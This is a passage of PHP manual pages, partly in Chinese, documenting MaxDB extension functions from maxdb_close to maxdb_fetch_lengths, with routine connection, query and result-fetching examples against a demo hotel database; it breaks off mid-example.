maxdb_character_set_name | 上一级 | maxdb_close_long_data


maxdb_close_long_data

(PECL)

maxdb_close_long_data

(no version information, might be only in CVS)

maxdb->close_long_data -- 别名 maxdb_stmt_close_long_data()

说明

本函数是该函数的别名： maxdb_stmt_close_long_data().

本函数别名已废弃，仅为了向后兼容性而存在。建议不要使用它，因为或许哪天它便会从 PHP 中删除。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_client_encoding | 上一级 | maxdb_close


maxdb_close

(PECL)

maxdb_close

(no version information, might be only in CVS)

maxdb->close -- Closes a previously opened database connection

Description

Procedural style:

bool maxdb_close ( resource link )

Object oriented style (method):

class maxdb {

bool close ( void )

}

The maxdb_close() function closes a previously opened database connection specified by the link parameter.

Return values

如果成功则返回 TRUE，失败则返回 FALSE。

See also

maxdb_connect(),
maxdb_init(),
maxdb_real_connect().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_close_long_data | 上一级 | maxdb_commit


maxdb_commit

(PECL)

maxdb_commit

(no version information, might be only in CVS)

maxdb->commit -- Commits the current transaction

Description

Procedural style:

bool maxdb_commit ( resource link )

Object oriented style (method)

class maxdb {

bool commit ( void )

}

Commits the current transaction for the database connection specified by the link parameter.

Return values

如果成功则返回 TRUE，失败则返回 FALSE。

See also

maxdb_autocommit(), maxdb_rollback().

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* set autocommit to off */
$maxdb->autocommit(FALSE);

maxdb_report (MAXDB_REPORT_OFF);
$maxdb->query("DROP TABLE mycustomer");
maxdb_report (MAXDB_REPORT_ERROR);

$maxdb->query("CREATE TABLE mycustomer LIKE hotel.customer");

/* Insert some values */
$maxdb->query("INSERT INTO mycustomer VALUES (3000,'Mrs','Jenny','Porter','10580','1340 N.Ash Street, #3')");
$maxdb->query("INSERT INTO mycustomer VALUES (3100,'Mr','Peter','Brown','48226','1001 34th Str., APT.3')");

/* commit transaction */
$maxdb->commit();

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* set autocommit to off */
maxdb_autocommit($link, FALSE);

maxdb_report (MAXDB_REPORT_OFF);
maxdb_query($link,"DROP TABLE mycustomer");
maxdb_report (MAXDB_REPORT_ERROR);

maxdb_query($link, "CREATE TABLE mycustomer LIKE hotel.customer");

/* Insert some values */
maxdb_query($link, "INSERT INTO mycustomer VALUES (3000,'Mrs','Jenny','Porter','10580','1340 N.Ash Street, #3')");
maxdb_query($link, "INSERT INTO mycustomer VALUES (3100,'Mr','Peter','Brown','48226','1001 34th Str., APT.3')");

/* commit transaction */
maxdb_commit($link);

/* close connection */
maxdb_close($link);
?>

The above examples produces no output.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_close | 上一级 | maxdb_connect_errno


maxdb_connect_errno

(PECL)

maxdb_connect_errno -- Returns the error code from last connect call

Description

int maxdb_connect_errno ( void )

The maxdb_connect_errno() function will return the last error code number for last call to maxdb_connect(). If no errors have occured, this function will return zero.

Return values

An error code value for the last call to maxdb_connect(), if it failed. zero means no error occurred.

See also

maxdb_connect(),
maxdb_connect_error(),
maxdb_errno(),
maxdb_error(),
maxdb_sqlstate()

Example

例子 1. maxdb_connect_errno sample

<?php
$link = maxdb_connect("localhost", "XXXXXXXX", "YYYYYYYYY");

if (!$link) {
   printf("Can't connect to localhost. Errorcode: %d\n", maxdb_connect_errno());
}
?>

The above example would produce the following output:

PHP Warning:  maxdb_connect(): -4008 POS(1) Unknown user name/password combination [08004] <...>
Can't connect to localhost. Errorcode: -4008

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_commit | 上一级 | maxdb_connect_error


maxdb_connect_error

(PECL)

maxdb_connect_error -- Returns a string description of the last connect error

Description

string maxdb_connect_error ( void )

The maxdb_connect_error() function is identical to the corresponding maxdb_connect_errno() function in every way, except instead of returning an integer error code the maxdb_connect_error() function will return a string representation of the last error to occur for the last maxdb_connect() call. If no error has occured, this function will return an empty string.

Return values

A string that describes the error. An empty string if no error occurred.

See also

maxdb_connect(),
maxdb_connect_errno(),
maxdb_errno(),
maxdb_error(),
maxdb_sqlstate()

Example

例子 1. maxdb_connect_error sample

<?php

$link = maxdb_connect("localhost", "nonexisting_user", "");

if (!$link) {
   printf("Can't connect to localhost. Error: %s\n", maxdb_connect_error());
}
?>

The above example would produce the following output:

PHP Warning:  maxdb_connect(): -4008 POS(1) Unknown user name/password combination <...>
Can't connect to localhost. Error: POS(1) Unknown user name/password combination

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_connect_errno | 上一级 | maxdb_connect


maxdb_connect

(PECL)

maxdb_connect

(no version information, might be only in CVS)

maxdb() -- Open a new connection to the MaxDB server

Description

Procedural style

resource maxdb_connect ( [string host [, string username [, string passwd [, string dbname [, int port [, string socket]]]]]] )

Object oriented style (constructor):

class maxdb {

__construct ( [string host [, string username [, string passwd [, string dbname [, int port [, string socket]]]]]] )

}

The maxdb_connect() function attempts to open a connection to the MaxDB Server running on host which can be either a host name or an IP address. Passing the string "localhost" to this parameter, the local host is assumed. If successful, the maxdb_connect() will return an resource representing the connection to the database, or FALSE on failure.

The username and password parameters specify the username and password under which to connect to the MaxDB server. If the password is not provided (the NULL value is passed), the MaxDB server will attempt to authenticate the user against the maxdb.default_pw in php.ini.

The dbname parameter if provided will specify the default database to be used when performing queries. If not provied, the entry maxdb.default_db in php.ini is used.

The port and socket parameters are ignored for the MaxDB server.

Return values

Returns a resource which represents the connection to a MaxDB Server or FALSE if the connection failed.

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

printf("Host information: %s\n", $maxdb->host_info);

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

printf("Host information: %s\n", maxdb_get_host_info($link));

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

Host information: localhost

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_connect_error | 上一级 | maxdb_data_seek


maxdb_data_seek

(PECL)

maxdb_data_seek

(no version information, might be only in CVS)

result->data_seek -- Adjusts the result pointer to an arbitary row in the result

Description

Procedural style:

bool maxdb_data_seek ( resource result, int offset )

Object oriented style (method):

class result {

bool data_seek ( int offset )

}

The maxdb_data_seek() function seeks to an arbitrary result pointer specified by the offset in the result set represented by result. The offset parameter must be between zero and the total number of rows minus one (0..maxdb_num_rows() - 1).

Return values

如果成功则返回 TRUE，失败则返回 FALSE。

See also

maxdb_store_result(),
maxdb_fetch_row(),
maxdb_num_rows().

Example

例子 1. Object oriented style

<?php
/* Open a connection */
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, state FROM hotel.city ORDER BY name";
if ($result = $maxdb->query( $query)) {

   /* seek to row no. 10 */
   $result->data_seek(10);

   /* fetch row */
   $row = $result->fetch_row();

   printf ("City: %s  State: %s\n", $row[0], $row[1]);

   /* free result set*/
   $result->close();
}

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, state FROM hotel.city ORDER BY name";

if ($result = maxdb_query($link, $query)) {

   /* seek to row no. 400 */
   maxdb_data_seek($result, 10);

   /* fetch row */
   $row = maxdb_fetch_row($result);

   printf ("City: %s  State: %s\n", $row[0], $row[1]);

   /* free result set*/
   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

City: Irvine  State: CA

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_connect | 上一级 | maxdb_debug


maxdb_debug

(PECL)

maxdb_debug -- Performs debugging operations

Description

void maxdb_debug ( string debug )

The maxdb_debug() can be used to trace the SQLDBC communication. The following strings can be used as a parameter to maxdb_debug():

TRACE SHORT ON|OFF - Enables/disables method call trace.
TRACE LONG ON|OFF - Enables/disables method argument and detail debug trace.
TRACE PACKET ON|OFF|<size> - Enables/disables packet trace, limiting the size of the traced object to the specified number of bytes, or 1000 if no size is specified.
TRACE SQL ON|OFF - Enables/disables high level api trace.
TRACE TIMESTAMP ON|OFF - Enables/disables a timestamp prefix on each line that is traced.
TRACE SIZE <size> - Limits the size of the trace file to <size> bytes, at least 8192 bytes are required.

Return values

maxdb_debug() doesn't return any value.

Example

例子 1. Procedural style

<?php

maxdb_debug("trace packet 200");

$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* close connection */
maxdb_close($link);
?>

The above example produces no output.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_data_seek | 上一级 | maxdb_disable_reads_from_master


maxdb_disable_reads_from_master

(PECL)

maxdb_disable_reads_from_master

(no version information, might be only in CVS)

maxdb->disable_reads_from_master -- Disable reads from master

Description

Procedural style:

bool maxdb_disable_reads_from_master ( resource link )

Object oriented style (method):

class maxdb {

void disable_reads_from_master ( void )

}

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_debug | 上一级 | maxdb_disable_rpl_parse


maxdb_disable_rpl_parse

(PECL)

maxdb_disable_rpl_parse -- Disable RPL parse

Description

bool maxdb_disable_rpl_parse ( resource link )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_disable_reads_from_master | 上一级 | maxdb_dump_debug_info


maxdb_dump_debug_info

(PECL)

maxdb_dump_debug_info -- Dump debugging information into the log

Description

bool maxdb_dump_debug_info ( resource link )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_disable_rpl_parse | 上一级 | maxdb_embedded_connect


maxdb_embedded_connect

(PECL)

maxdb_embedded_connect -- Open a connection to an embedded MaxDB server

Description

resource maxdb_embedded_connect ( [string dbname] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_dump_debug_info | 上一级 | maxdb_enable_reads_from_master


maxdb_enable_reads_from_master

(PECL)

maxdb_enable_reads_from_master -- Enable reads from master

Description

bool maxdb_enable_reads_from_master ( resource link )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_embedded_connect | 上一级 | maxdb_enable_rpl_parse


maxdb_enable_rpl_parse

(PECL)

maxdb_enable_rpl_parse -- Enable RPL parse

Description

bool maxdb_enable_rpl_parse ( resource link )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_enable_reads_from_master | 上一级 | maxdb_errno


maxdb_errno

(PECL)

maxdb_errno

(no version information, might be only in CVS)

maxdb->errno -- Returns the error code for the most recent function call

Description

Procedural style:

int maxdb_errno ( resource link )

Object oriented style (property):

class maxdb {

int errno

}

The maxdb_errno() function will return the last error code for the most recent MaxDB function call that can succeed or fail with respect to the database link defined by the link parameter. If no errors have occured, this function will return zero.

Return values

An error code value for the last call, if it failed. zero means no error occurred.

See also

maxdb_connect_errno(),
maxdb_connect_error(),
maxdb_error(),
maxdb_sqlstate()

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if (!$maxdb->query("SELECT xxx FROM hotel.city")) {
   printf("Errorcode: %d\n", $maxdb->errno);
}

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if (!maxdb_query($link, "SELECT xxx FROM hotel.city")) {
   printf("Errorcode: %d\n", maxdb_errno($link));
}

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

PHP Warning:  maxdb_query(): -4005 POS(8) Unknown column name:XXX [42000] <...>
Errorcode: -4005

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_enable_rpl_parse | 上一级 | maxdb_error


maxdb_error

(PECL)

maxdb_error -- Returns a string description of the last error

Description

Procedural style:

string maxdb_error ( resource link )

Object oriented style (property)

class maxdb {

string error

}

The maxdb_error() function is identical to the corresponding maxdb_errno() function in every way, except instead of returning an integer error code the maxdb_error() function will return a string representation of the last error to occur for the database connection represented by the link parameter. If no error has occured, this function will return an empty string.

Return values

A string that describes the error. An empty string if no error occurred.

See also

maxdb_connect_errno(),
maxdb_connect_error(),
maxdb_errno(),
maxdb_sqlstate()

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if (!$maxdb->query("SELECT xxx FROM hotel.city")) {
   printf("Errormessage: %s\n", $maxdb->error);
}

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if (!maxdb_query($link, "SELECT xxx FROM hotel.city")) {
   printf("Errormessgae: %s\n", maxdb_error($link));
}

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

PHP Warning:  maxdb_query(): -4005 POS(8) Unknown column name:XXX [42000]
Errormessgae: POS(8) Unknown column name:XXX

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_errno | 上一级 | maxdb_escape_string


maxdb_escape_string

(PECL)

maxdb_escape_string -- 别名 maxdb_real_escape_string()

说明

本函数是该函数的别名： maxdb_real_escape_string().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_error | 上一级 | maxdb_execute


maxdb_execute

(PECL)

maxdb_execute -- 别名 maxdb_stmt_execute()

说明

本函数是该函数的别名： maxdb_stmt_execute().

本函数别名已废弃，仅为了向后兼容性而存在。建议不要使用它，因为或许哪天它便会从 PHP 中删除。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_escape_string | 上一级 | maxdb_fetch_array


maxdb_fetch_array

(PECL)

maxdb_fetch_array

(no version information, might be only in CVS)

result->fetch_array -- Fetch a result row as an associative, a numeric array, or both

Description

Procedural style:

mixed maxdb_fetch_array ( resource result [, int resulttype] )

Object oriented style (method):

class result {

mixed fetch_array ( [int resulttype] )

}

Returns an array that corresponds to the fetched row or NULL if there are no more rows for the resultset represented by the result parameter.

maxdb_fetch_array() is an extended version of the maxdb_fetch_row() function. In addition to storing the data in the numeric indices of the result array, the maxdb_fetch_array() function can also store the data in associative indices, using the field names of the result set as keys.

注: 本函数返回的字段名是区分大小写的。

注: 本函数对 PHP NULL 值设定 NULL 字段。

If two or more columns of the result have the same field names, the last column will take precedence and overwrite the earlier data. In order to access multiple columns with the same name, the numerically indexed version of the row must be used.

The optional second argument resulttype is a constant indicating what type of array should be produced from the current row data. The possible values for this parameter are the constants MAXDB_ASSOC, MAXDB_ASSOC_UPPER, MAXDB_ASSOC_LOWER, MAXDB_NUM, or MAXDB_BOTH. By default the maxdb_fetch_array() function will assume MAXDB_BOTH, which is a combination of MAXDB_NUM and MAXDB_ASSOC for this parameter.

By using the MAXDB_ASSOC constant this function will behave identically to the maxdb_fetch_assoc(), while MAXDB_NUM will behave identically to the maxdb_fetch_row() function. The final option MAXDB_BOTH will create a single array with the attributes of both.

By using the MAXDB_ASSOC_UPPER constant, the behaviour of this function is identical to the use of MAXDB_ASSOC except the array index of a column is the fieldname in upper case.

By using the MAXDB_ASSOC_LOWER constant, the behaviour of this function is identical to the use of MAXDB_ASSOC except the array index of a column is the fieldname in lower case.

Return values

Returns an array that corresponds to the fetched row or NULL if there are no more rows in resultset.

See also

maxdb_fetch_assoc(),
maxdb_fetch_row(),
maxdb_fetch_resource().

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, state FROM hotel.city ORDER by zip";
$result = $maxdb->query($query);

/* numeric array */
$row = $result->fetch_array(MAXDB_NUM);
printf ("%s (%s)\n", $row[0], $row[1]);

/* associative array */
$row = $result->fetch_array(MAXDB_ASSOC);
printf ("%s (%s)\n", $row["NAME"], $row["STATE"]);

/* associative and numeric array */
$row = $result->fetch_array(MAXDB_BOTH);
printf ("%s (%s)\n", $row[0], $row["STATE"]);

/* free result set */
$result->close();

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, state FROM hotel.city ORDER by zip";
$result = maxdb_query($link, $query);

/* numeric array */
$row = maxdb_fetch_array($result, MAXDB_NUM);
printf ("%s (%s)\n", $row[0], $row[1]);

/* associative array */
$row = maxdb_fetch_array($result, MAXDB_ASSOC);
printf ("%s (%s)\n", $row["NAME"], $row["STATE"]);

/* associative and numeric array */
$row = maxdb_fetch_array($result, MAXDB_BOTH);
printf ("%s (%s)\n", $row[0], $row["STATE"]);

/* free result set */
maxdb_free_result($result);

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

New York (NY)
New York (NY)
Long Island (NY)

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_execute | 上一级 | maxdb_fetch_assoc


maxdb_fetch_assoc

(PECL)

maxdb_fetch_assoc

(no version information, might be only in CVS)

maxdb->fetch_assoc -- Fetch a result row as an associative array

Description

Procedural style:

array maxdb_fetch_assoc ( resource result )

Object oriented style (method):

class result {

array fetch_assoc ( void )

}

Returns an associative array that corresponds to the fetched row or NULL if there are no more rows.

The maxdb_fetch_assoc() function is used to return an associative array representing the next row in the result set for the result represented by the result parameter, where each key in the array represents the name of one of the result set's columns.

If two or more columns of the result have the same field names, the last column will take precedence. To access the other column(s) of the same name, you either need to access the result with numeric indices by using maxdb_fetch_row() or add alias names.

注: 本函数返回的字段名是区分大小写的。

注: 本函数对 PHP NULL 值设定 NULL 字段。

Return values

Returns an array that corresponds to the fetched row or NULL if there are no more rows in resultset.

See also

maxdb_fetch_array(),
maxdb_fetch_row(),
maxdb_fetch_resource().

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, state FROM hotel.city ORDER by zip";

if ($result = $maxdb->query($query)) {

   /* fetch associative array */
   while ($row = $result->fetch_assoc()) {
       printf ("%s (%s)\n", $row["NAME"], $row["STATE"]);
   }

   /* free result set */
   $result->close();
}

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, state FROM hotel.city ORDER by zip";

if ($result = maxdb_query($link, $query)) {

   /* fetch associative array */
   while ($row = maxdb_fetch_assoc($result)) {
       printf ("%s (%s)\n", $row["NAME"], $row["STATE"]);
   }

   /* free result set */
   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

New York (NY)
New York (NY)
Long Island (NY)
Albany (NY)
Washington (DC)
Washington (DC)
Washington (DC)
Silver Spring (MD)
Daytona Beach (FL)
Deerfield Beach (FL)
Clearwater (FL)
Cincinnati (OH)
Detroit (MI)
Rosemont (IL)
Chicago (IL)
Chicago (IL)
New Orleans (LA)
Dallas (TX)
Los Angeles (CA)
Hollywood (CA)
Long Beach (CA)
Palm Springs (CA)
Irvine (CA)
Santa Clara (CA)
Portland (OR)

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_fetch_array | 上一级 | maxdb_fetch_field_direct


maxdb_fetch_field_direct

(PECL)

maxdb_fetch_field_direct

(no version information, might be only in CVS)

result->fetch_field_direct -- Fetch meta-data for a single field

Description

Procedural style:

mixed maxdb_fetch_field_direct ( resource result, int fieldnr )

Object oriented style (method):

class result {

mixed fetch_field_direct ( int fieldnr )

}

maxdb_fetch_field_direct() returns an resource which contains field definition informations from specified resultset. The value of fieldnr must be in the range from 0 to number of fields - 1.

Return values

Returns an resource which contains field definition informations or FALSE if no field information for specified fieldnr is available.

表格 1. Object attributes

Attribute | Description
name | The name of the column
max_length | The maximum width of the field for the result set.
type | The data type used for this field
decimals | The number of decimals used (for integer fields)

See also

maxdb_num_fields()
maxdb_fetch_field()
maxdb_fetch_fields()

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, cno from hotel.customer ORDER BY name";

if ($result = $maxdb->query($query)) {

   /* Get field information for column 'SurfaceArea' */
   $finfo = $result->fetch_field_direct(1);

   printf("Name:     %s\n", $finfo->name);
   printf("Table:    %s\n", $finfo->table);
   printf("max. Len: %d\n", $finfo->max_length);
   printf("Flags:    %d\n", $finfo->flags);
   printf("Type:     %d\n", $finfo->type);

   $result->close();
}

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, cno from hotel.customer ORDER BY name";

if ($result = maxdb_query($link, $query)) {

   /* Get field information for column 'cno' */
   $finfo = maxdb_fetch_field_direct($result, 1);

   printf("Name:     %s\n", $finfo->name);
   printf("Table:    %s\n", $finfo->table);
   printf("max. Len: %d\n", $finfo->max_length);
   printf("Flags:    %d\n", $finfo->flags);
   printf("Type:     %d\n", $finfo->type);

   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

Name:     CNO
Table:
max. Len: 4
Flags:    -1
Type:     0

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_fetch_assoc | 上一级 | maxdb_fetch_field


maxdb_fetch_field

(PECL)

maxdb_fetch_field

(no version information, might be only in CVS)

result->fetch_field -- Returns the next field in the result set

Description

Procedural style:

mixed maxdb_fetch_field ( resource result )

Object oriented style (method):

class result {

mixed fetch_field ( void )

}

The maxdb_fetch_field() returns the definition of one column of a result set as an resource. Call this function repeatedly to retrieve information about all columns in the result set. maxdb_fetch_field() returns FALSE when no more fields are left.

Return values

Returns an resource which contains field definition informations or FALSE if no field information is available.

表格 1. Object properties

Property | Description
name | The name of the column
max_length | The maximum width of the field for the result set.
type | The data type used for this field
decimals | The number of decimals used (for integer fields)

See also

maxdb_num_fields()
maxdb_fetch_field_direct()
maxdb_fetch_fields()
maxdb_field_seek()

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, cno from hotel.customer ORDER BY cno";

if ($result = $maxdb->query($query)) {

   /* Get field information for all columns */
   while ($finfo = $result->fetch_field()) {

       printf("Name:     %s\n", $finfo->name);
       printf("Table:    %s\n", $finfo->table);
       printf("max. Len: %d\n", $finfo->max_length);
       printf("Flags:    %d\n", $finfo->flags);
       printf("Type:     %d\n\n", $finfo->type);
   }
   $result->close();
}

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, cno from hotel.customer ORDER BY cno";

if ($result = maxdb_query($link, $query)) {

   /* Get field information for all fields */
   while ($finfo = maxdb_fetch_field($result)) {

       printf("Name:     %s\n", $finfo->name);
       printf("Table:    %s\n", $finfo->table);
       printf("max. Len: %d\n", $finfo->max_length);
       printf("Flags:    %d\n", $finfo->flags);
       printf("Type:     %d\n\n", $finfo->type);
   }
   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

Name:     NAME
Table:
max. Len: 10
Flags:    -1
Type:     2

Name:     CNO
Table:
max. Len: 4
Flags:    -1
Type:     0

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_fetch_field_direct | 上一级 | maxdb_fetch_fields


maxdb_fetch_fields

(PECL)

maxdb_fetch_fields

(no version information, might be only in CVS)

result->fetch_fields -- Returns an array of resources representing the fields in a result set

Description

Procedural Style:

mixed maxdb_fetch_fields ( resource result )

Object oriented style (method):

class result {

mixed fetch_fields ( void )

}

This function serves an identical purpose to the maxdb_fetch_field() function with the single difference that, instead of returning one resource at a time for each field, the columns are returned as an array of resources.

Return values

Returns an array of resources which contains field definition informations or FALSE if no field information is available.

表格 1. Object properties

Property | Description
name | The name of the column
max_length | The maximum width of the field for the result set.
type | The data type used for this field
decimals | The number of decimals used (for integer fields)

See also

maxdb_num_fields()
maxdb_fetch_field()
maxdb_fetch_field_direct()

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, cno from hotel.customer ORDER BY cno";

if ($result = $maxdb->query($query)) {

   /* Get field information for all columns */
   $finfo = $result->fetch_fields();

   foreach ($finfo as $val) {
       printf("Name:     %s\n", $val->name);
       printf("Table:    %s\n", $val->table);
       printf("max. Len: %d\n", $val->max_length);
       printf("Flags:    %d\n", $val->flags);
       printf("Type:     %d\n\n", $val->type);
   }
   $result->close();
}

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, cno from hotel.customer ORDER BY cno";

if ($result = maxdb_query($link, $query)) {

   /* Get field information for all columns */
   $finfo = maxdb_fetch_fields($result);

   foreach ($finfo as $val) {
       printf("Name:     %s\n", $val->name);
       printf("Table:    %s\n", $val->table);
       printf("max. Len: %d\n", $val->max_length);
       printf("Flags:    %d\n", $val->flags);
       printf("Type:     %d\n\n", $val->type);
   }
   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

Name:     NAME
Table:
max. Len: 10
Flags:    -1
Type:     2

Name:     CNO
Table:
max. Len: 4
Flags:    -1
Type:     0

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_fetch_field | 上一级 | maxdb_fetch_lengths


maxdb_fetch_lengths

(PECL)

maxdb_fetch_lengths

(no version information, might be only in CVS)

result->lengths -- Returns the lengths of the columns of the current row in the result set

Description

Procedural style:

array maxdb_fetch_lengths ( resource result )

Object oriented style (property):

class result {

array lengths

}

The maxdb_fetch_lengths() function returns an array containing the lengths of every column of the current row within the result set represented by the result parameter. If successful, a numerically indexed array representing the lengths of each column is returned or FALSE on failure.

Return values

An array of integers representing the size of each column (not including any terminating null characters). FALSE if an error occurred.

maxdb_fetch_lengths() is valid only for the current row of the result set. It returns FALSE if you call it before calling maxdb_fetch_row/array/resource or after retrieving all rows in the result.

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT * from hotel.customer WHERE cno = 3000";

if ($result = $maxdb->query($query)) {

   $row = $result->fetch_row();

   /* display column lengths */
   foreach ($result->lengths as $i => $val) {
       printf("Field %2d has Length %2d\n", $i+1, $val);
   }
   $result->close();
}

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT * from hotel.customer WHERE cno = 3000";

if ($result = maxdb_query($link, $query)) {

   $row = maxdb_fetch_row($result);

   /* display column lengths */
